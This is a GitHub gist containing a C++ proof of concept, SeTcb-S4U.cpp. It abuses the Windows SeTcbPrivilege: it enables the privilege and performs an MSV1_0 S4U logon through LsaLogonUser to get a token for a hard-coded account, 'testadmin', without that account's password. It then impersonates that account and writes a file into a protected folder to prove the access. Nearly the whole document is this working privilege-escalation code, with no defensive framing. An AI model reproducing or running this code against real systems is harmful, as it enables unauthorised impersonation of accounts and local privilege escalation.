Skip to content

Instantly share code, notes, and snippets.

@micahvandeusen
Created July 10, 2020 19:38
Show Gist options
  • Save micahvandeusen/42e2fd3338499f02d259715fb0c98949 to your computer and use it in GitHub Desktop.
Save micahvandeusen/42e2fd3338499f02d259715fb0c98949 to your computer and use it in GitHub Desktop.
SeTcb-S4U.cpp
#include <Windows.h>
#include <Ntsecapi.h>
#include <sddl.h>
#include <stdio.h>
#include <tchar.h>
#include <Lm.h>
#include <assert.h>
#include <TlHelp32.h>
#include <string>
#pragma comment(lib, "secur32.lib")
#define STATUS_SUCCESS 0
#define EXTRA_SID_COUNT 2
typedef struct _MSV1_0_SET_OPTION {
MSV1_0_PROTOCOL_MESSAGE_TYPE MessageType;
DWORD dwFlag;
BOOL bUnset;
} MSV1_0_SET_OPTION, *PMSV1_0_SET_OPTION;
HANDLE g_hHeap;
BOOL
GetLogonSID (
_In_ HANDLE hToken,
_Out_ PSID *pLogonSid
)
{
BOOL bSuccess = FALSE;
DWORD dwIndex;
DWORD dwLength = 0;
PTOKEN_GROUPS pTokenGroups = NULL;
//
// Get required buffer size and allocate the TOKEN_GROUPS buffer.
//
if (!GetTokenInformation(
hToken,
TokenGroups,
(LPVOID)pTokenGroups,
0,
&dwLength
))
{
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
{
fprintf(stderr, "GetTokenInformation failed (error: %u).\n", GetLastError());
goto Error;
}
pTokenGroups = (PTOKEN_GROUPS)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, dwLength);
if (pTokenGroups == NULL)
goto Error;
}
//
// Get the token group information from the access token.
//
if (!GetTokenInformation(
hToken,
TokenGroups,
(LPVOID)pTokenGroups,
dwLength,
&dwLength
))
{
fprintf(stderr, "GetTokenInformation failed (error: %u).\n", GetLastError());
goto Error;
}
//
// Loop through the groups to find the logon SID.
//
for (dwIndex = 0; dwIndex < pTokenGroups->GroupCount; dwIndex++)
if ((pTokenGroups->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID) == SE_GROUP_LOGON_ID)
{
//
// Found the logon SID: make a copy of it.
//
dwLength = GetLengthSid(pTokenGroups->Groups[dwIndex].Sid);
*pLogonSid = (PSID)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, dwLength);
if (*pLogonSid == NULL)
goto Error;
if (!CopySid(dwLength, *pLogonSid, pTokenGroups->Groups[dwIndex].Sid))
{
goto Error;
}
break;
}
bSuccess = TRUE;
Error:
if (bSuccess == FALSE)
{
if (*pLogonSid != NULL)
HeapFree(g_hHeap, 0, *pLogonSid);
}
if (pTokenGroups != NULL)
HeapFree(g_hHeap, 0, pTokenGroups);
return bSuccess;
}
//
// Set/Unset privilege.
//
BOOL
SetPrivilege (
_In_ HANDLE hToken,
_In_z_ LPCTSTR lpszPrivilege,
_In_ BOOL bEnablePrivilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
fprintf(stderr, "LookupPrivilegeValue failed (error: %u).\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
//
// Enable the privilege or disable all privileges.
//
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
fprintf(stderr, "AdjustTokenPrivileges failed (error: %u).\n", GetLastError());
return FALSE;
}
else
{
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
fprintf(stderr, "The token does not have the specified privilege (%S).\n", lpszPrivilege);
return FALSE;
}
else
{
printf("AdjustTokenPrivileges (%S): OK\n", lpszPrivilege);
}
}
return TRUE;
}
VOID
InitLsaString (
_Out_ PLSA_STRING DestinationString,
_In_z_ LPSTR szSourceString
)
{
USHORT StringSize;
StringSize = (USHORT)strlen(szSourceString);
DestinationString->Length = StringSize;
DestinationString->MaximumLength = StringSize + sizeof(CHAR);
DestinationString->Buffer = (PCHAR)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, DestinationString->MaximumLength);
if (DestinationString->Buffer)
{
memcpy(DestinationString->Buffer, szSourceString, DestinationString->Length);
}
else
{
memset(DestinationString, 0, sizeof(LSA_STRING));
}
}
PBYTE
InitUnicodeString (
_Out_ PUNICODE_STRING DestinationString,
_In_z_ LPWSTR szSourceString,
_In_ PBYTE pbDestinationBuffer
)
{
USHORT StringSize;
StringSize = (USHORT)wcslen(szSourceString) * sizeof(WCHAR);
memcpy(pbDestinationBuffer, szSourceString, StringSize);
DestinationString->Length = StringSize;
DestinationString->MaximumLength = StringSize + sizeof(WCHAR);
DestinationString->Buffer = (PWSTR)pbDestinationBuffer;
return (PBYTE)pbDestinationBuffer + StringSize + sizeof(WCHAR);
}
void GetUser()
{
TCHAR buffer[64];
DWORD k = 64;
GetUserName(buffer, &k);
printf("[i] User: %S\n", buffer);
}
int
_tmain (
_In_ int argc,
_In_ TCHAR *argv[]
)
{
BOOL bResult;
NTSTATUS Status;
NTSTATUS SubStatus;
HANDLE hLsa = NULL;
HANDLE hProcess = NULL;
HANDLE hToken = NULL;
HANDLE hTokenS4U = NULL;
OSVERSIONINFO osvi;
BOOL bIsLocal = TRUE;
LSA_STRING Msv1_0Name = { 0 };
LSA_STRING OriginName = { 0 };
PMSV1_0_S4U_LOGON pS4uLogon = NULL;
TOKEN_SOURCE TokenSource;
ULONG ulAuthenticationPackage;
DWORD dwMessageLength;
PBYTE pbPosition;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
PTOKEN_GROUPS pGroups = NULL;
PSID pLogonSid = NULL;
PVOID pvProfile = NULL;
DWORD dwProfile = 0;
LUID logonId = { 0 };
QUOTA_LIMITS quotaLimits;
LPTSTR szDomain = TEXT(".");
LPTSTR szUsername = TEXT("testadmin");
TCHAR seps[] = TEXT("\\");
TOKEN_MANDATORY_LABEL TIL = { 0 };
g_hHeap = GetProcessHeap();
//
// Get OS version
//
ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
#pragma warning(suppress : 4996; suppress : 28159)
bResult = GetVersionEx(&osvi);
if (bResult == FALSE)
{
fprintf(stderr, "GetVersionEx failed (error %u).", GetLastError());
goto End;
}
//
// Activate the TCB privilege
//
hProcess = GetCurrentProcess();
OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken);
if (!SetPrivilege(hToken, SE_TCB_NAME, TRUE))
{
goto End;
}
//
// Get logon SID
//
if (!GetLogonSID(hToken, &pLogonSid))
{
fprintf(stderr, "Unable to find logon SID.\n");
goto End;
}
//
// Connect (Untrusted) to LSA
//
Status = LsaConnectUntrusted(&hLsa);
if (Status!=STATUS_SUCCESS)
{
fprintf(stderr, "LsaConnectUntrusted failed (error 0x%x).", Status);
hLsa = NULL;
goto End;
}
//
// Lookup for the MSV1_0 authentication package (NTLMSSP)
//
InitLsaString(&Msv1_0Name, MSV1_0_PACKAGE_NAME);
Status = LsaLookupAuthenticationPackage(hLsa, &Msv1_0Name, &ulAuthenticationPackage);
if (Status!=STATUS_SUCCESS)
{
fprintf(stderr, "LsaLookupAuthenticationPackage failed (error 0x%x).", Status);
hLsa = NULL;
goto End;
}
//
// Create MSV1_0_S4U_LOGON structure
//
dwMessageLength = (DWORD)sizeof(MSV1_0_S4U_LOGON) + (EXTRA_SID_COUNT + (DWORD)wcslen(szDomain) + (DWORD)wcslen(szUsername)) * sizeof(WCHAR);
pS4uLogon = (PMSV1_0_S4U_LOGON)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, dwMessageLength);
if (pS4uLogon == NULL)
{
fprintf(stderr, "HeapAlloc failed (error %u).", GetLastError());
goto End;
}
pS4uLogon->MessageType = MsV1_0S4ULogon;
pbPosition = (PBYTE)pS4uLogon + sizeof(MSV1_0_S4U_LOGON);
pbPosition = InitUnicodeString(&pS4uLogon->UserPrincipalName, szUsername, pbPosition);
pbPosition = InitUnicodeString(&pS4uLogon->DomainName, szDomain, pbPosition);
//
// Misc
//
strcpy_s(TokenSource.SourceName, TOKEN_SOURCE_LENGTH, "User32");
InitLsaString(&OriginName, "S4U for Windows");
AllocateLocallyUniqueId(&TokenSource.SourceIdentifier);
//
// Call LSA LsaLogonUser
//
// This call required SeTcbPrivilege privilege:
// - [1] to get a primary token (vs impersonation token). The privilege MUST be activated.
// - [2] to add supplemental SID with LocalGroups parameter.
// - [3] to use a username with a domain name different from machine name (or '.').
//
Status = LsaLogonUser(
hLsa,
&OriginName,
Network,
ulAuthenticationPackage,
pS4uLogon,
dwMessageLength,
pGroups,
&TokenSource,
&pvProfile,
&dwProfile,
&logonId,
&hTokenS4U,
&quotaLimits,
&SubStatus
);
if (Status != STATUS_SUCCESS)
{
printf("LsaLogonUser failed (error 0x%x).\n", Status);
goto End;
}
HANDLE cthread = GetCurrentThread();
if (SetThreadToken(&cthread, hTokenS4U) == 0) {
printf("SetThreadToken fail! %d\n", GetLastError());
}
else {
printf("Successfully impersonated S4U...\n");
GetUser();
char DataBuffer[] = "This is written using SeTcbPrivilege";
DWORD dwBytesToWrite = (DWORD)strlen(DataBuffer);
DWORD dwBytesWritten = 0;
HANDLE hFile = CreateFile(L"C:\\secret\\setcb.txt",
GENERIC_WRITE,
0,
NULL,
CREATE_NEW,
FILE_ATTRIBUTE_NORMAL,
NULL);
WriteFile(
hFile,
DataBuffer,
dwBytesToWrite,
&dwBytesWritten,
NULL);
}
goto End;
End:
//
// Free resources
//
if (Msv1_0Name.Buffer)
HeapFree(g_hHeap, 0, Msv1_0Name.Buffer);
if (OriginName.Buffer)
HeapFree(g_hHeap, 0, OriginName.Buffer);
if (pLogonSid)
HeapFree(g_hHeap, 0, pLogonSid);
if (pS4uLogon)
HeapFree(g_hHeap, 0, pS4uLogon);
if (pGroups)
HeapFree(g_hHeap, 0, pGroups);
if (pvProfile)
LsaFreeReturnBuffer(pvProfile);
if (hLsa)
LsaClose(hLsa);
if (hToken)
CloseHandle(hToken);
if (hTokenS4U)
CloseHandle(hTokenS4U);
if (pi.hProcess)
CloseHandle(pi.hProcess);
if (pi.hThread)
CloseHandle(pi.hThread);
return EXIT_SUCCESS;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment